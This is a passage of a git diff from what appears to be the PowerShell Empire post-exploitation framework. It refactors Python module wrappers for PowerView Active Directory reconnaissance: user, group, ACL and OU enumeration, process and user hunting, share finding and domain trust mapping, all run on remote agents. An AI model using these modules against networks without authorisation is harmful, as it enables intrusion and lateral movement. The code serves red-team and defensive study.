self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script \ No newline at end of file diff --git a/lib/modules/situational_awareness/network/get_computer.py b/lib/modules/situational_awareness/network/powerview/get_gpo.py similarity index 69% rename from lib/modules/situational_awareness/network/get_computer.py rename to lib/modules/situational_awareness/network/powerview/get_gpo.py index 466efa1ce..8fa6b2cc5 100644 --- a/lib/modules/situational_awareness/network/get_computer.py +++ b/lib/modules/situational_awareness/network/powerview/get_gpo.py @@ -5,11 +5,11 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Get-NetComputer', + 'Name': 'Get-NetGPO', 'Author': ['@harmj0y'], - 'Description': ('Queries the domain for current computer objects.'), + 'Description': ('Gets a list of all current GPOs in a domain.'), 'Background' : True, @@ -35,28 +35,28 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'FullData' : { - 'Description' : 'Switch. Return full user computer objects instead of just system names.', + 'GPOname' : { + 'Description' : 'The GPO name to query for, wildcards accepted.', 'Required' : False, 'Value' : '' }, - 'Ping' : { - 'Description' : 'Switch. Only return hosts that respond to ping.', + 'DisplayName' : { + 'Description' : 'The GPO display name to query for, wildcards accepted. ', 'Required' : False, 'Value' : '' }, - 'HostName' : { - 'Description' : 'Return computers with a specific name, wildcards accepted.', + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', 'Required' : False, 'Value' : '' }, - 'OperatingSystem' : { - 'Description' : 'Return computers with a specific operating system, wildcards accepted.', + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', 'Required' : False, 'Value' : '' }, - 'Domain' : { - 'Description' : 'The domain to query for computers.', + 'ADSpath' : { + 'Description' : 'The LDAP source to search through.', 'Required' : False, 'Value' : '' } @@ -75,8 +75,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetComputer.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -87,9 +89,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Get-NetComputer " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -99,5 +102,7 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_group.py b/lib/modules/situational_awareness/network/powerview/get_group.py new file mode 100644 index 000000000..a45ebbef8 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_group.py @@ -0,0 +1,118 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetGroup', + + 'Author': ['@harmj0y'], + + 'Description': ('Gets a list of all current groups in a domain, or all the groups a given user/group object belongs to. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'GroupName' : { + 'Description' : 'The group name to query for, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'SID' : { + 'Description' : 'The group SID to query for.', + 'Required' : False, + 'Value' : '' + }, + 'UserName' : { + 'Description' : 'The user name (or group name) to query for all effective groups of.', + 'Required' : False, + 'Value' : '' + }, + 'Filter' : { + 'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'FullData' : { + 'Description' : 'Return full group objects instead of just object names (the default).', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_group_member.py b/lib/modules/situational_awareness/network/powerview/get_group_member.py new file mode 100644 index 000000000..918b834a6 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_group_member.py @@ -0,0 +1,118 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetGroupMember', + + 'Author': ['@harmj0y'], + + 'Description': ('Returns the members of a given group, with the option to "Recurse" to find all effective group members. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'GroupName' : { + 'Description' : 'The group name to query for users.', + 'Required' : True, + 'Value' : '' + }, + 'SID' : { + 'Description' : 'The Group SID to query for users.', + 'Required' : False, + 'Value' : '' + }, + 'Filter' : { + 'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'FullData' : { + 'Description' : 'Return full group objects instead of just object names (the default).', + 'Required' : False, + 'Value' : '' + }, + 'Recurse' : { + 'Description' : 'Switch. If the group member is a group, recursively try to query its members as well.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/get_localgroup.py b/lib/modules/situational_awareness/network/powerview/get_localgroup.py similarity index 76% rename from lib/modules/situational_awareness/network/get_localgroup.py rename to lib/modules/situational_awareness/network/powerview/get_localgroup.py index 86cb817f3..eca392661 100644 --- a/lib/modules/situational_awareness/network/get_localgroup.py +++ b/lib/modules/situational_awareness/network/powerview/get_localgroup.py @@ -10,7 +10,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], 'Description': ('Returns a list of all current users in a specified local group ' - 'on a local or remote machine.'), + 'on a local or remote machine. Part of PowerView.'), 'Background' : True, @@ -34,16 +34,21 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'HostName' : { + 'ComputerName' : { 'Description' : 'The hostname or IP to query for local group users.', 'Required' : False, 'Value' : 'localhost' }, 'GroupName' : { - 'Description' : 'The local group name to query for users.', + 'Description' : 'The local group name to query for users, defaults to "Administrators".', 'Required' : False, 'Value' : 'Administrators' }, + 'ListGroups' : { + 'Description' : 'Switch. List all the local groups instead of their members.', + 'Required' : False, + 'Value' : '' + }, 'Recurse' : { 'Description' : 'Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.', 'Required' : False, @@ -64,8 +69,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetLocalGroup.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -76,9 +83,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Get-NetLocalGroup " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -87,8 +95,8 @@ def generate(self): # if we're just adding a switch script += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += "| Out-String" + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' return script diff --git a/lib/modules/situational_awareness/network/powerview/get_object_acl.py b/lib/modules/situational_awareness/network/powerview/get_object_acl.py new file mode 100644 index 000000000..22710867b --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_object_acl.py @@ -0,0 +1,133 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-ObjectAcl', + + 'Author': ['@harmj0y', '@pyrotek3'], + + 'Description': ('Returns the ACLs associated with a specific active directory object. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'SamAccountName' : { + 'Description' : 'Object SamAccountName to filter for.', + 'Required' : False, + 'Value' : '' + }, + 'Name' : { + 'Description' : 'Object Name to filter for.', + 'Required' : False, + 'Value' : '' + }, + 'DistinguishedName' : { + 'Description' : 'Object distinguished name to filter for.', + 'Required' : False, + 'Value' : '' + }, + 'ResolveGUIDs' : { + 'Description' : 'Switch. Resolve GUIDs to their display names.', + 'Required' : False, + 'Value' : 'True' + }, + 'Filter' : { + 'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"', + 'Required' : False, + 'Value' : '' + }, + 'ADSpath' : { + 'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"', + 'Required' : False, + 'Value' : '' + }, + 'ADSprefix' : { + 'Description' : 'Prefix to set for the searcher (like "CN=Sites,CN=Configuration")', + 'Required' : False, + 'Value' : '' + }, + 'RightsFilter' : { + 'Description' : 'Only return results with the associated rights, "All", "ResetPassword","ChangePassword","WriteMembers"', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script \ No newline at end of file diff --git a/lib/modules/situational_awareness/network/netview.py b/lib/modules/situational_awareness/network/powerview/get_ou.py similarity index 65% rename from lib/modules/situational_awareness/network/netview.py rename to lib/modules/situational_awareness/network/powerview/get_ou.py index 14ddcfeaf..0fd4feba8 100644 --- a/lib/modules/situational_awareness/network/netview.py +++ b/lib/modules/situational_awareness/network/powerview/get_ou.py @@ -5,12 +5,11 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Invoke-Netview', + 'Name': 'Get-NetOU', 'Author': ['@harmj0y'], - 'Description': ('Queries the domain for all hosts, and retrieves open shares, ' - 'sessions, and logged on users for each host. Part of PowerView.'), + 'Description': ('Gets a list of all current OUs in a domain. Part of PowerView.'), 'Background' : True, @@ -23,8 +22,7 @@ def __init__(self, mainMenu, params=[]): 'MinPSVersion' : '2', 'Comments': [ - 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView', - 'https://github.com/mubix/netview' + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' ] } @@ -37,38 +35,33 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'Hosts' : { - 'Description' : 'Hosts to enumerate.', + 'OUName' : { + 'Description' : 'The OU name to query for, wildcards accepted.', 'Required' : False, 'Value' : '' }, - 'HostList' : { - 'Description' : 'Hostlist to enumerate.', + 'GUID' : { + 'Description' : 'Only return OUs with the specified GUID in their gplink property.', 'Required' : False, 'Value' : '' }, - 'HostFilter' : { - 'Description' : 'Host filter name to query AD for, wildcards accepted.', - 'Required' : False, - 'Value' : '' - }, - 'NoPing' : { - 'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.', + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', 'Required' : False, 'Value' : '' }, - 'CheckShareAccess' : { - 'Description' : 'Switch. Only display found shares that the local user has access to.', + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', 'Required' : False, 'Value' : '' }, - 'Delay' : { - 'Description' : 'Delay between enumerating hosts, defaults to 0.', + 'ADSpath' : { + 'Description' : 'The LDAP source to search through.', 'Required' : False, 'Value' : '' }, - 'Domain' : { - 'Description' : 'Domain to enumerate for hosts.', + 'FullData' : { + 'Description' : 'Switch. Return full OU objects instead of just object names (the default).', 'Required' : False, 'Value' : '' } @@ -87,8 +80,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-Netview.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -99,9 +94,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Invoke-NetView " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -111,7 +107,7 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - - script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-Netview completed"' + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' return script diff --git a/lib/modules/situational_awareness/network/powerview/get_user.py b/lib/modules/situational_awareness/network/powerview/get_user.py new file mode 100644 index 000000000..46513e4a4 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_user.py @@ -0,0 +1,113 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetUser', + + 'Author': ['@harmj0y'], + + 'Description': ('Query information for a given user or users in the specified domain. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'UserName' : { + 'Description' : 'Username filter string, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'ADSpath' : { + 'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"', + 'Required' : False, + 'Value' : '' + }, + 'Filter' : { + 'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"', + 'Required' : False, + 'Value' : '' + }, + 'SPN' : { + 'Description' : 'Switch. Only return user objects with non-null service principal names.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/get_exploitable_systems.py b/lib/modules/situational_awareness/network/powerview/map_domain_trust.py similarity index 69% rename from lib/modules/situational_awareness/network/get_exploitable_systems.py rename to lib/modules/situational_awareness/network/powerview/map_domain_trust.py index 69d97151f..dafebdae0 100644 --- a/lib/modules/situational_awareness/network/get_exploitable_systems.py +++ b/lib/modules/situational_awareness/network/powerview/map_domain_trust.py @@ -5,12 +5,11 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Get-ExploitableSystems', + 'Name': 'Invoke-MapDomainTrust', - 'Author': ['Scott Sutherland (@_nullbind)'], + 'Author': ['@harmj0y'], - 'Description': ('Queries Active Directory for systems likely vulnerable to various ' - 'Metasploit exploits.'), + 'Description': ('Maps all reachable domain trusts with .CSV output. Part of PowerView.'), 'Background' : True, @@ -23,7 +22,7 @@ def __init__(self, mainMenu, params=[]): 'MinPSVersion' : '2', 'Comments': [ - 'https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1' + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' ] } @@ -36,13 +35,13 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'DomainController' : { - 'Description' : 'Specific domain controller to query against.', + 'LDAP' : { + 'Description' : 'Switch. Use LDAP for domain queries (less accurate).', 'Required' : False, 'Value' : '' }, - 'SearchDN' : { - 'Description' : 'Distinguished Name Path to limit search to.', + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', 'Required' : False, 'Value' : '' } @@ -51,7 +50,7 @@ def __init__(self, mainMenu, params=[]): # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu - + for param in params: # parameter format is [Name, Value] option, value = param @@ -60,9 +59,11 @@ def __init__(self, mainMenu, params=[]): def generate(self): - - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-ExploitableSystems.psm1" + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -73,9 +74,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Get-ExploitableSystems " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -84,8 +86,8 @@ def generate(self): # if we're just adding a switch script += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + script += " -" + str(option) + " " + str(values['Value']) - script += " | ft -autosize | Out-String | %{$_ + \"`n\"}" + script += '| ConvertTo-Csv -NoTypeInformation | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' return script diff --git a/lib/modules/situational_awareness/network/stealth_userhunter.py b/lib/modules/situational_awareness/network/powerview/process_hunter.py similarity index 61% rename from lib/modules/situational_awareness/network/stealth_userhunter.py rename to lib/modules/situational_awareness/network/powerview/process_hunter.py index 40e94981b..46392daea 100644 --- a/lib/modules/situational_awareness/network/stealth_userhunter.py +++ b/lib/modules/situational_awareness/network/powerview/process_hunter.py @@ -5,13 +5,11 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Invoke-StealthUserHunter', + 'Name': 'Invoke-ProcessHunter', 'Author': ['@harmj0y'], - 'Description': ('Finds which machines users of a specified group are logged into by ' - 'querying AD for servers likely to have high traffic (file servers, DCs, etc.) ' - 'and enumerating sessions again each. Part of PowerView.'), + 'Description': ('Query the process lists of remote machines, searching for processes with a specific name or owned by a specific user.'), 'Background' : True, @@ -37,43 +35,48 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'Hosts' : { + 'ComputerName' : { 'Description' : 'Hosts to enumerate.', 'Required' : False, 'Value' : '' }, - 'HostList' : { - 'Description' : 'Hostlist to enumerate.', + 'ComputerFilter' : { + 'Description' : 'Host filter name to query AD for, wildcards accepted.', 'Required' : False, 'Value' : '' }, - 'UserName' : { - 'Description' : 'Specific username to search for.', + 'ProcessName' : { + 'Description' : 'The name of the process to hunt, or a comma separated list of names.', 'Required' : False, 'Value' : '' }, 'GroupName' : { - 'Description' : 'Group to query for user names.', + 'Description' : 'Group name to query for target users.', 'Required' : False, - 'Value' : '' + 'Value' : '' }, - 'UserList' : { - 'Description' : 'List of usernames to search for.', + 'TargetServer' : { + 'Description' : 'Hunt for users who are effective local admins on a target server.', 'Required' : False, 'Value' : '' }, - 'StopOnSuccess' : { - 'Description' : 'Switch. Stop when a target user is found.', + 'UserName' : { + 'Description' : 'Specific username to search for.', 'Required' : False, 'Value' : '' - }, - 'NoPing' : { - 'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.', + }, + 'UserFilter' : { + 'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"', 'Required' : False, 'Value' : '' }, - 'CheckAccess' : { - 'Description' : 'Switch. Check if the current user has local admin access to found machines.', + 'StopOnSuccess' : { + 'Description' : 'Switch. Stop hunting after finding after finding a target user.', + 'Required' : False, + 'Value' : '' + }, + 'NoPing' : { + 'Description' : "Don't ping each host to ensure it's up before enumerating.", 'Required' : False, 'Value' : '' }, @@ -82,13 +85,18 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '' }, - 'ShowAll' : { - 'Description' : 'Switch. Show all result output.', + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', 'Required' : False, - 'Value' : '' + 'Value' : '' }, - 'Domain' : { - 'Description' : 'Domain to enumerate for hosts.', + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'Threads' : { + 'Description' : 'The maximum concurrent threads to execute.', 'Required' : False, 'Value' : '' } @@ -107,8 +115,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -119,9 +129,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Invoke-StealthUserHunter " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -131,9 +142,7 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - - script += "| Select-Object TargetUser, Computer, IP, SessionFrom, LocalAdmin | ft -autosize | Out-String | %{$_ + \"`n\"}" - - script += ';"`nInvoke-StealthUserHunter completed"' + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + return script diff --git a/lib/modules/situational_awareness/network/sharefinder.py b/lib/modules/situational_awareness/network/powerview/share_finder.py similarity index 75% rename from lib/modules/situational_awareness/network/sharefinder.py rename to lib/modules/situational_awareness/network/powerview/share_finder.py index cafe83e33..544750fbb 100644 --- a/lib/modules/situational_awareness/network/sharefinder.py +++ b/lib/modules/situational_awareness/network/powerview/share_finder.py @@ -9,7 +9,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Finds shares on machines in the domain.'), + 'Description': ('Finds shares on machines in the domain. Part of PowerView.'), 'Background' : True, @@ -35,28 +35,23 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'Hosts' : { + 'ComputerName' : { 'Description' : 'Hosts to enumerate.', 'Required' : False, 'Value' : '' }, - 'HostList' : { - 'Description' : 'Hostlist to enumerate.', - 'Required' : False, - 'Value' : '' - }, - 'HostFilter' : { + 'ComputerFilter' : { 'Description' : 'Host filter name to query AD for, wildcards accepted.', 'Required' : False, 'Value' : '' }, - 'NoPing' : { - 'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.', + 'CheckShareAccess' : { + 'Description' : 'Switch. Only display found shares that the local user has access to.', 'Required' : False, 'Value' : '' }, - 'CheckShareAccess' : { - 'Description' : 'Switch. Only display found shares that the local user has access to.', + 'NoPing' : { + 'Description' : "Don't ping each host to ensure it's up before enumerating.", 'Required' : False, 'Value' : '' }, @@ -66,7 +61,17 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'Domain' : { - 'Description' : 'Domain to enumerate for hosts.', + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'Threads' : { + 'Description' : 'The maximum concurrent threads to execute.', 'Required' : False, 'Value' : '' } @@ -85,8 +90,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-ShareFinder.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -97,9 +104,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Invoke-ShareFinder " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -109,7 +117,7 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - - script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-ShareFinder completed"' + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + return script diff --git a/lib/modules/situational_awareness/network/userhunter.py b/lib/modules/situational_awareness/network/powerview/user_hunter.py similarity index 66% rename from lib/modules/situational_awareness/network/userhunter.py rename to 